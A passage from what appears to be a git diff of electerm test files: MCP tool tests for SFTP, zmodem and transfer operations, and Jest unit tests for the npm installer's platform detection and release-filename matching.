Accept: 'application/json, text/event-stream'
})
const sid = response.headers['mcp-session-id']
assert.ok(sid && sid !== 'null', `initSession: expected a real session ID but got: ${sid}`)
return sid
}
// Helper to call a tool via MCP
async function callTool (sessionId, id, toolName, args) {
const request = {
jsonrpc: '2.0',
id,
method: 'tools/call',
params: {
name: toolName,
arguments: args
}
}
const response = await makeHttpRequest('post', serverUrl, request, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const sseData = response.data
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine, 'SSE data line not found')
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, id)
return jsonData
}
// Helper: check if renderer is available
async function checkRenderer (sid) {
const jsonData = await callTool(sid, 999, 'list_electerm_tabs', {})
return !jsonData.error
}
describe('mcp-sftp-transfer-trzsz', function () {
let sessionId = null
let hasRenderer = false
const uniqueId = Date.now()
before(async () => {
sessionId = await initSession()
hasRenderer = await checkRenderer(sessionId)
if (!hasRenderer) {
console.log('No renderer detected — renderer-dependent tests will be skipped')
}
})
// ==================== Tool availability check (no renderer needed) ====================
test('should list SFTP/transfer/trzsz tools in tools/list', { timeout: 100000 }, async function () {
const response = await makeHttpRequest('post', serverUrl, {
jsonrpc: '2.0',
id: 400,
method: 'tools/list',
params: {}
}, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
const sseData = response.data
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 400)
assert.ok(jsonData.result)
assert.ok(Array.isArray(jsonData.result.tools))
const toolNames = jsonData.result.tools.map(t => t.name)
const expectedTools = [
'electerm_sftp_list',
'electerm_sftp_stat',
'electerm_sftp_read_file',
'electerm_sftp_del_file_or_folder',
'electerm_sftp_upload',
'electerm_sftp_download',
'electerm_zmodem_upload',
'electerm_zmodem_download',
'electerm_sftp_transfer_list',
'electerm_sftp_transfer_history',
'get_electerm_terminal_status',
'cancel_electerm_terminal_command',
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]
for (const toolName of expectedTools) {
assert.ok(toolNames.includes(toolName), `Expected tool "${toolName}" to be registered`)
}
})
// ==================== Validation error tests (no renderer needed) ====================
test('sftp_list: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 101, 'electerm_sftp_list', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_del: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 131, 'electerm_sftp_del_file_or_folder', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_upload: should error if localPath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 201, 'electerm_sftp_upload', {
remotePath: '/tmp/test.txt'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when localPath is missing')
})
test('sftp_download: should error if remotePath is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 211, 'electerm_sftp_download', {
localPath: '/tmp/test.txt'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remotePath is missing')
})
test('sftp_download: should error if saveFolder is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 312, 'electerm_zmodem_download', {
remoteFiles: ['/tmp/test.txt']
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when saveFolder is missing')
})
test('electerm_zmodem_upload: should error if files is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 301, 'electerm_zmodem_upload', {})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when files is missing')
})
test('electerm_zmodem_upload: should error if files array is empty', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 302, 'electerm_zmodem_upload', {
files: []
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when files array is empty')
})
test('electerm_zmodem_download: should error if remoteFiles is missing', { timeout: 100000 }, async function () {
const jsonData = await callTool(sessionId, 311, 'electerm_zmodem_download', {
saveFolder: '/tmp'
})
assert.ok(jsonData.error || (jsonData.result && jsonData.result.isError),
'Expected error when remoteFiles is missing')
})
// ==================== Renderer-dependent SFTP operation tests ====================
test('sftp_list: should list remote directory', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 100, 'electerm_sftp_list', {
remotePath: '/tmp'
})
// Either no SSH tab open (error) or success with valid result
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(Array.isArray(result.list), 'result.list should be an array')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.ok(result.host !== undefined, 'result.host should be present')
}
})
test('sftp_stat: should get stat of remote file or directory', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 110, 'electerm_sftp_stat', {
remotePath: '/tmp'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.stat !== undefined, 'result.stat should be present')
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
test('sftp_read_file: should read content of a remote file', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 120, 'electerm_sftp_read_file', {
remotePath: '/etc/hostname'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.content !== undefined, 'result.content should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
test('sftp_del: should delete a remote file', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 130, 'electerm_sftp_del_file_or_folder', {
remotePath: `/tmp/mcp2_test_delete_${uniqueId}.txt`
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'should succeed')
assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
// ==================== Full SFTP workflow (requires SSH connection) ====================
test('sftp: full workflow - list, stat, read, del', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const wfId = Date.now()
const bookmarkTitle = `MCP2_SFTP_Test_${wfId}`
// Step 1: Create SSH bookmark
const addData = await callTool(sessionId, 140, 'add_electerm_bookmark_ssh', {
title: bookmarkTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
const bookmarkId = addResult.id
try {
// Step 2: Open the bookmark
const openData = await callTool(sessionId, 141, 'open_electerm_bookmark', { id: bookmarkId })
assert.ok(openData.result, 'open_bookmark should succeed')
// Wait for tab to initialize and SFTP panel to be ready
await new Promise(resolve => setTimeout(resolve, 8000))
// Step 3: List /tmp directory
const listData = await callTool(sessionId, 142, 'electerm_sftp_list', { remotePath: '/tmp' })
if (listData.result?.isError) {
// SFTP panel may not be initialized in test environment
assert.ok(listData.result.content[0].text, 'error message should be present')
} else {
assert.ok(listData.result, 'sftp_list should succeed')
const listResult = JSON.parse(listData.result.content[0].text)
assert.ok(Array.isArray(listResult.list), 'list should be an array')
}
// Step 4: Stat /tmp
const statData = await callTool(sessionId, 143, 'electerm_sftp_stat', { remotePath: '/tmp' })
if (statData.result?.isError) {
assert.ok(statData.result.content[0].text, 'error message should be present')
} else {
assert.ok(statData.result, 'sftp_stat should succeed')
const statResult = JSON.parse(statData.result.content[0].text)
assert.ok(statResult.stat !== undefined)
}
// Step 5: Read /etc/hostname
const readData = await callTool(sessionId, 144, 'electerm_sftp_read_file', { remotePath: '/etc/hostname' })
if (readData.result?.isError) {
assert.ok(readData.result.content[0].text, 'error message should be present')
} else {
assert.ok(readData.result, 'sftp_read_file should succeed')
const readResult = JSON.parse(readData.result.content[0].text)
assert.ok(readResult.content !== undefined)
}
} finally {
// Step 6: Clean up - delete test bookmark
await callTool(sessionId, 145, 'delete_electerm_bookmark', { id: bookmarkId })
}
})
// ==================== File Transfer - Upload ====================
test('sftp_upload: should start upload transfer', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const fs = require('fs')
const uploadFile = `/tmp/mcp2-test-upload-${uniqueId}.txt`
if (!fs.existsSync(uploadFile)) {
fs.writeFileSync(uploadFile, 'test upload content for MCP test')
}
const jsonData = await callTool(sessionId, 200, 'electerm_sftp_upload', {
localPath: uploadFile,
remotePath: uploadFile
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'upload should succeed')
assert.ok(result.transferId !== undefined, 'should have transferId')
assert.ok(result.tabId !== undefined, 'should have tabId')
}
})
// ==================== File Transfer - Download ====================
test('sftp_download: should start download transfer', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 210, 'electerm_sftp_download', {
remotePath: '/etc/hostname',
localPath: `/tmp/mcp2-downloaded-hostname-${uniqueId}.txt`
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'download should succeed')
assert.ok(result.transferId !== undefined, 'should have transferId')
assert.ok(result.tabId !== undefined, 'should have tabId')
}
})
test('sftp_download: should support conflictPolicy parameter', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 212, 'electerm_sftp_download', {
remotePath: '/etc/hostname',
localPath: `/tmp/mcp2-downloaded-hostname-ow-${uniqueId}.txt`,
conflictPolicy: 'overwrite'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'download should succeed')
}
})
// ==================== Zmodem Upload (trzsz/rzsz) ====================
test('electerm_zmodem_upload: should initiate trz upload (trzsz, default)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 300, 'electerm_zmodem_upload', {
files: [`/tmp/mcp2-trzsz-upload-${uniqueId}.txt`]
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.ok(Array.isArray(result.files), 'result.files should be array')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.equal(result.protocol, 'rzsz', 'default protocol should be rzsz')
assert.equal(result.command, 'rz', 'default command should be rz')
}
})
test('electerm_zmodem_upload: should initiate rz upload (rzsz protocol)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 303, 'electerm_zmodem_upload', {
files: [`/tmp/mcp2-rzsz-upload-${uniqueId}.txt`],
protocol: 'rzsz'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.equal(result.protocol, 'rzsz', 'protocol should be rzsz')
assert.equal(result.command, 'rz', 'command should be rz for rzsz')
}
})
// ==================== Zmodem Download (trzsz/rzsz) ====================
test('electerm_zmodem_download: should initiate tsz download (trzsz, default)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 310, 'electerm_zmodem_download', {
remoteFiles: [`/tmp/mcp2-trzsz-download-${uniqueId}.txt`],
saveFolder: '/tmp'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.ok(Array.isArray(result.remoteFiles), 'result.remoteFiles should be array')
assert.ok(result.saveFolder !== undefined, 'result.saveFolder should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.equal(result.protocol, 'rzsz', 'default protocol should be rzsz')
assert.equal(result.command, 'sz', 'default command should be sz')
}
})
test('electerm_zmodem_download: should initiate sz download (rzsz protocol)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 313, 'electerm_zmodem_download', {
remoteFiles: [`/tmp/mcp2-rzsz-download-${uniqueId}.txt`],
saveFolder: '/tmp',
protocol: 'rzsz'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.equal(result.protocol, 'rzsz', 'protocol should be rzsz')
assert.equal(result.command, 'sz', 'command should be sz for rzsz')
}
})
// ==================== Transfer List & History ====================
test('sftp_transfer_list: should return current transfer list', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 400, 'electerm_sftp_transfer_list', {})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(result), 'result should be an array')
if (result.length > 0) {
const t = result[0]
assert.ok(t.id !== undefined, 'transfer should have id')
assert.ok(t.fromPath !== undefined, 'transfer should have fromPath')
assert.ok(t.toPath !== undefined, 'transfer should have toPath')
assert.ok(t.typeFrom !== undefined, 'transfer should have typeFrom')
assert.ok(t.typeTo !== undefined, 'transfer should have typeTo')
}
}
})
test('sftp_transfer_history: should return transfer history', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 410, 'electerm_sftp_transfer_history', {})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(result), 'result should be an array')
if (result.length > 0) {
const h = result[0]
assert.ok(h.id !== undefined, 'history item should have id')
assert.ok(h.fromPath !== undefined, 'history item should have fromPath')
assert.ok(h.toPath !== undefined, 'history item should have toPath')
assert.ok(h.typeFrom !== undefined, 'history item should have typeFrom')
}
}
})
})
+368
View File
@@ -0,0 +1,368 @@
/**
* Unit tests for npm/install.js
* Tests that correct download patterns are selected for different OS/arch combinations
*/
/* eslint-env jest */
/* global describe, it, expect, beforeAll */
const https = require('https')
const {
isWindows7OrEarlier,
isMacOS10,
isLinuxLegacy,
getDownloadPattern
} = require('../../npm/install')
// Cache for version - fetched once from electerm website
let cachedVersion = null
async function getVersion () {
if (cachedVersion) {
return cachedVersion
}
cachedVersion = await new Promise((resolve, reject) => {
https.get('https://electerm.org/version.html', (res) => {
let data = ''
res.on('data', chunk => { data += chunk })
res.on('end', () => resolve(data.trim().replace('v', '')))
res.on('error', reject)
}).on('error', reject)
})
return cachedVersion
}
// Fetch version once before all tests
beforeAll(async () => {
await getVersion()
})
describe('npm/install.js', () => {
describe('isWindows7OrEarlier', () => {
it('should return false for non-Windows platforms', () => {
expect(isWindows7OrEarlier('darwin', '21.0.0')).toBe(false)
expect(isWindows7OrEarlier('linux', '5.4.0')).toBe(false)
})
it('should return true for Windows 7 (NT 6.1)', () => {
expect(isWindows7OrEarlier('win32', '6.1.7601')).toBe(true)
})
it('should return true for Windows Vista (NT 6.0)', () => {
expect(isWindows7OrEarlier('win32', '6.0.6000')).toBe(true)
})
it('should return true for Windows XP (NT 5.1)', () => {
expect(isWindows7OrEarlier('win32', '5.1.2600')).toBe(true)
})
it('should return false for Windows 8 (NT 6.2)', () => {
expect(isWindows7OrEarlier('win32', '6.2.9200')).toBe(false)
})
it('should return false for Windows 8.1 (NT 6.3)', () => {
expect(isWindows7OrEarlier('win32', '6.3.9600')).toBe(false)
})
it('should return false for Windows 10 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.19041')).toBe(false)
})
it('should return false for Windows 11 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.22000')).toBe(false)
})
})
describe('isMacOS10', () => {
it('should return false for non-macOS platforms', () => {
expect(isMacOS10('win32', '10.0.19041')).toBe(false)
expect(isMacOS10('linux', '5.4.0')).toBe(false)
})
it('should return true for macOS 10.15 Catalina (Darwin 19.x)', () => {
expect(isMacOS10('darwin', '19.6.0')).toBe(true)
})
it('should return true for macOS 10.14 Mojave (Darwin 18.x)', () => {
expect(isMacOS10('darwin', '18.7.0')).toBe(true)
})
it('should return true for macOS 10.13 High Sierra (Darwin 17.x)', () => {
expect(isMacOS10('darwin', '17.7.0')).toBe(true)
})
it('should return false for macOS 11 Big Sur (Darwin 20.x)', () => {
expect(isMacOS10('darwin', '20.6.0')).toBe(false)
})
it('should return false for macOS 12 Monterey (Darwin 21.x)', () => {
expect(isMacOS10('darwin', '21.6.0')).toBe(false)
})
it('should return false for macOS 13 Ventura (Darwin 22.x)', () => {
expect(isMacOS10('darwin', '22.1.0')).toBe(false)
})
it('should return false for macOS 14 Sonoma (Darwin 23.x)', () => {
expect(isMacOS10('darwin', '23.0.0')).toBe(false)
})
})
describe('isLinuxLegacy', () => {
it('should return false for non-Linux platforms', () => {
expect(isLinuxLegacy('win32', 2.31)).toBe(false)
expect(isLinuxLegacy('darwin', 2.31)).toBe(false)
})
it('should return true for glibc < 2.34', () => {
expect(isLinuxLegacy('linux', 2.31)).toBe(true)
expect(isLinuxLegacy('linux', 2.17)).toBe(true)
expect(isLinuxLegacy('linux', 2.33)).toBe(true)
})
it('should return false for glibc >= 2.34', () => {
expect(isLinuxLegacy('linux', 2.34)).toBe(false)
expect(isLinuxLegacy('linux', 2.35)).toBe(false)
expect(isLinuxLegacy('linux', 2.38)).toBe(false)
})
})
describe('getDownloadPattern', () => {
describe('Windows', () => {
it('should return win-x64 pattern for Windows x64', () => {
const result = getDownloadPattern('win32', 'x64', {})
expect(result.type).toBe('win-x64')
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-arm64.tar.gz')).toBe(false)
})
it('should return win-arm64 pattern for Windows arm64', () => {
const result = getDownloadPattern('win32', 'arm64', {})
expect(result.type).toBe('win-arm64')
expect(result.pattern.test('electerm-2.3.151-win-arm64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(false)
})
it('should return win7 pattern for Windows 7', () => {
const result = getDownloadPattern('win32', 'x64', { win7: true })
expect(result.type).toBe('win7')
expect(result.pattern.test('electerm-2.3.151-win7.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(false)
})
it('should prefer win7 over arm64 when win7 flag is set', () => {
const result = getDownloadPattern('win32', 'arm64', { win7: true })
expect(result.type).toBe('win7')
})
})
describe('macOS', () => {
it('should return mac-x64 pattern for macOS x64', () => {
const result = getDownloadPattern('darwin', 'x64', {})
expect(result.type).toBe('mac-x64')
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-arm64.dmg')).toBe(false)
})
it('should return mac-arm64 pattern for macOS arm64 (Apple Silicon)', () => {
const result = getDownloadPattern('darwin', 'arm64', {})
expect(result.type).toBe('mac-arm64')
expect(result.pattern.test('electerm-2.3.151-mac-arm64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(false)
})
it('should return mac10-x64 pattern for macOS 10.x', () => {
const result = getDownloadPattern('darwin', 'x64', { mac10: true })
expect(result.type).toBe('mac10-x64')
expect(result.pattern.test('electerm-2.3.151-mac10-x64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(false)
})
it('should prefer mac10 over arm64 when mac10 flag is set', () => {
const result = getDownloadPattern('darwin', 'arm64', { mac10: true })
expect(result.type).toBe('mac10-x64')
})
})
describe('Linux', () => {
it('should return linux-x64 pattern for Linux x64', () => {
const result = getDownloadPattern('linux', 'x64', {})
expect(result.type).toBe('linux-x64')
expect(result.pattern.test('electerm-2.3.151-linux-x64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-x64-legacy.tar.gz')).toBe(false)
})
it('should return linux-arm64 pattern for Linux arm64', () => {
const result = getDownloadPattern('linux', 'arm64', {})
expect(result.type).toBe('linux-arm64')
expect(result.pattern.test('electerm-2.3.151-linux-arm64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-arm64-legacy.tar.gz')).toBe(false)
})
it('should return linux-armv7l pattern for Linux arm', () => {
const result = getDownloadPattern('linux', 'arm', {})
expect(result.type).toBe('linux-armv7l')
expect(result.pattern.test('electerm-2.3.151-linux-armv7l.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-armv7l-legacy.tar.gz')).toBe(false)
})
it('should return linux-x64-legacy pattern for Linux x64 with old glibc', () => {
const result = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
expect(result.type).toBe('linux-x64-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-x64-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-x64.tar.gz')).toBe(false)
})
it('should return linux-arm64-legacy pattern for Linux arm64 with old glibc', () => {
const result = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
expect(result.type).toBe('linux-arm64-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-arm64-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-arm64.tar.gz')).toBe(false)
})
it('should return linux-armv7l-legacy pattern for Linux arm with old glibc', () => {
const result = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
expect(result.type).toBe('linux-armv7l-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-armv7l-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-armv7l.tar.gz')).toBe(false)
})
})
describe('Unsupported platforms', () => {
it('should return unsupported for unknown platforms', () => {
const result = getDownloadPattern('freebsd', 'x64', {})
expect(result.type).toBe('unsupported')
expect(result.pattern).toBe(null)
})
it('should return unsupported for aix', () => {
const result = getDownloadPattern('aix', 'ppc64', {})
expect(result.type).toBe('unsupported')
})
})
})
describe('Pattern matching with actual release filenames', () => {
// Release files with current version from website
let releaseFiles = []
beforeAll(() => {
const v = cachedVersion
releaseFiles = [
`electerm-${v}-linux-aarch64-legacy.rpm`,
`electerm-${v}-linux-aarch64.rpm`,
`electerm-${v}-linux-amd64-legacy.deb`,
`electerm-${v}-linux-amd64.deb`,
`electerm-${v}-linux-amd64.snap`,
`electerm-${v}-linux-arm64-legacy.AppImage`,
`electerm-${v}-linux-arm64-legacy.deb`,
`electerm-${v}-linux-arm64-legacy.tar.gz`,
`electerm-${v}-linux-arm64.AppImage`,
`electerm-${v}-linux-arm64.deb`,
`electerm-${v}-linux-arm64.tar.gz`,
`electerm-${v}-linux-armv7l-legacy.AppImage`,
`electerm-${v}-linux-armv7l-legacy.deb`,
`electerm-${v}-linux-armv7l-legacy.rpm`,
`electerm-${v}-linux-armv7l-legacy.tar.gz`,
`electerm-${v}-linux-armv7l.AppImage`,
`electerm-${v}-linux-armv7l.deb`,
`electerm-${v}-linux-armv7l.rpm`,
`electerm-${v}-linux-armv7l.tar.gz`,
`electerm-${v}-linux-x64-legacy.tar.gz`,
`electerm-${v}-linux-x64.tar.gz`,
`electerm-${v}-linux-x86_64-legacy.AppImage`,
`electerm-${v}-linux-x86_64-legacy.rpm`,
`electerm-${v}-linux-x86_64.AppImage`,
`electerm-${v}-linux-x86_64.rpm`,
`electerm-${v}-mac-arm64.dmg`,
`electerm-${v}-mac-arm64.dmg.blockmap`,
`electerm-${v}-mac-x64.dmg`,
`electerm-${v}-mac-x64.dmg.blockmap`,
`electerm-${v}-mac10-x64.dmg`,
`electerm-${v}-mac10-x64.dmg.blockmap`,
`electerm-${v}-win-arm64-installer.exe`,
`electerm-${v}-win-arm64-installer.exe.blockmap`,
`electerm-${v}-win-arm64.tar.gz`,
`electerm-${v}-win-x64-installer.exe`,
`electerm-${v}-win-x64-installer.exe.blockmap`,
`electerm-${v}-win-x64-loose.tar.gz`,
`electerm-${v}-win-x64-portable.tar.gz`,
`electerm-${v}-win-x64.appx`,
`electerm-${v}-win-x64.tar.gz`,
`electerm-${v}-win7.tar.gz`
]
})
it('should match exactly one tar.gz file for win-x64', () => {
const { pattern } = getDownloadPattern('win32', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win-x64.tar.gz`])
})
it('should match exactly one tar.gz file for win-arm64', () => {
const { pattern } = getDownloadPattern('win32', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win-arm64.tar.gz`])
})
it('should match exactly one tar.gz file for win7', () => {
const { pattern } = getDownloadPattern('win32', 'x64', { win7: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win7.tar.gz`])
})
it('should match exactly one dmg file for mac-x64', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac-x64.dmg`])
})
it('should match exactly one dmg file for mac-arm64', () => {
const { pattern } = getDownloadPattern('darwin', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac-arm64.dmg`])
})
it('should match exactly one dmg file for mac10-x64', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', { mac10: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac10-x64.dmg`])
})
it('should match exactly one tar.gz file for linux-x64', () => {
const { pattern } = getDownloadPattern('linux', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-x64.tar.gz`])
})
it('should match exactly one tar.gz file for linux-x64-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-x64-legacy.tar.gz`])
})
it('should match exactly one tar.gz file for linux-arm64', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-arm64.tar.gz`])
})
it('should match exactly one tar.gz file for linux-arm64-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-arm64-legacy.tar.gz`])
})
it('should match exactly one tar.gz file for linux-armv7l', () => {
const { pattern } = getDownloadPattern('linux', 'arm', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-armv7l.tar.gz`])
})
it('should match exactly one tar.gz file for linux-armv7l-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-armv7l-legacy.tar.gz`])
})
})
})
+630
View File
@@ -0,0 +1,630 @@
/**
* Tests for npm/install.js and npm/utils.js
* Tests platform detection, download patterns, extraction, and CLI launcher flow
*/
const os = require('os')
const path = require('path')
const fs = require('fs')
const tar = require('tar')
const {
isWindows7OrEarlier,
isMacOS10,
isLinuxLegacy,
sanitizeVersion,
sanitizeFilename,
getElectermExePath,
isElectermExtracted,
_packageRoot,
_extractDir
} = require('../../npm/install')
const {
httpGet,
extractTarGz,
download,
phin,
applyProxy,
formatBytes
} = require('../../npm/utils')
const plat = os.platform()
// ---------------------------------------------------------------------------
// Test helpers
// ---------------------------------------------------------------------------
let passed = 0
let failed = 0
const asyncQueue = []
function test (name, fn) {
try {
fn()
